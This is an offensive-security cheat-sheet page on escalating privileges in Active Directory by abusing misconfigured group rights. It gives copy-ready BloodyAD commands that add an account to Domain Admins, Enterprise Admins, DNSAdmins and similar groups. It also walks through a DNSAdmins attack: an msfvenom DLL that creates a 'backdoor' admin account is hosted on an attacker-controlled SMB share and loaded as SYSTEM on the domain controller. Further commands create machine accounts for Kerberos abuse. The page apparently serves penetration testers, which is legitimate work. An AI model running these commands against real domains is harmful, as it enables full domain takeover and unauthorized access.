# Group Membership Exploitation

> Exploits misconfigured AD group memberships to escalate privileges, move laterally, or gain unauthorized access to resources within a domain environment.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/ad-group-membership-exploitation
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-04-05
- **Updated:** 2026-08-11

With AddMember, GenericWrite, or GenericAll rights on a privileged group, you can add yourself or a controlled account directly to Domain Admins or other high-value groups. This is the most direct path from a misconfigured ACL to full domain control: one command, immediate impact.

High-value groups to target:

- Domain Admins: full control over the domain
- Enterprise Admins: forest-wide administrative access
- Backup Operators: can read any file and dump SAM/NTDS
- DNSAdmins: can load arbitrary DLLs as SYSTEM via DNS service
- Account Operators: can manage most non-admin AD accounts

Confirm the right exists before making any changes. Use [ACL Enumeration](https://hackindex.io/platforms/active-directory/enumeration/active-directory-acl-enumeration) to identify writable groups first.

## Add account to privileged group

**Add to privileged groups with BloodyAD**

```bash
# Add to Domain Admins
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Domain Admins" $USER

# Add to Enterprise Admins (forest-wide admin)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Enterprise Admins" $USER

# Add to Backup Operators (can read any file, dump SAM/NTDS)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Backup Operators" $USER

# Add to Account Operators (can manage most AD accounts)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Account Operators" $USER

# Add to DNSAdmins (can load arbitrary DLL as SYSTEM via DNS service)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "DNSAdmins" $USER

# Add to Remote Desktop Users (RDP access to all domain machines)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Remote Desktop Users" $USER
```

Group membership changes take effect on next logon: your current session token does not update immediately. Start a new session or request a new TGT to get a token with the updated group memberships.

**Apply new group membership**

```bash
# Verify membership was added
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "Domain Admins" --attr member

# Request new TGT to pick up updated group memberships
impacket-getTGT $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP
export KRB5CCNAME=$USER.ccache

# Confirm new rights
nxc smb $TARGET_IP -u $USER -p $PASSWORD
nxc smb 192.168.1.0/24 -u $USER -p $PASSWORD
# SMB  10.10.10.10  445  DC01  [+] corp.local\jsmith:Password123! (Pwn3d!)
```

## DNSAdmins privilege escalation

Members of DNSAdmins can configure the DNS server to load a plugin DLL. Since the DNS service runs as SYSTEM, loading a malicious DLL gives immediate code execution as SYSTEM on the domain controller.

**DNSAdmins DLL injection**

```bash
# Step 1: add account to DNSAdmins (if you have the right)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "DNSAdmins" $USER

# Step 2: create malicious DLL (adds user or reverse shell)
msfvenom -p windows/x64/exec CMD='net user backdoor Password123! /add && net localgroup administrators backdoor /add' -f dll -o evil.dll

# Step 3: host the DLL on SMB share
impacket-smbserver share . -smb2support

# Step 4: configure DNS to load the DLL
dnscmd $DC_HOSTNAME /config /serverlevelplugindll \\$LHOST\share\evil.dll

# Step 5: restart DNS service to trigger DLL load
nxc smb $TARGET_IP -u $USER -p $PASSWORD -x 'sc stop dns && sc start dns'

# Step 6: cleanup after exploitation
dnscmd $DC_HOSTNAME /config /serverlevelplugindll ''
```

## Machine account creation

When Machine Account Quota is above 0 (default is 10), any domain user can create computer accounts. Machine accounts are useful as controlled principals for RBCD, Kerberos abuse, and as clean identities that blend in with legitimate computer objects.

**Create machine account**

```bash
# Check MAQ first
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" --attr ms-DS-MachineAccountQuota

# Create machine account with known password
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add computer ATTACKPC$ 'MachinePassword123!'

# Verify creation
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --users | grep ATTACKPC

# Use machine account for Kerberos operations
impacket-getTGT $DOMAIN/'ATTACKPC$':'MachinePassword123!' -dc-ip $TARGET_IP
export KRB5CCNAME=ATTACKPC$.ccache

# Cleanup: remove machine account after use
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove computer ATTACKPC$
```

A newly created machine account has no special rights on its own. Its value comes from combining it with RBCD setup (see [ACL Abuse Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation/acl-abuse-privilege-escalation)) or NTLM relay (see [LDAP Relay and Signing Abuse](https://hackindex.io/services/ldap/exploitation/ldap-relay-and-signing-abuse)).

## References

- [BloodyAD: GitHub](https://github.com/CravateRouge/bloodyAD) - add groupMember, add computer, remove computer reference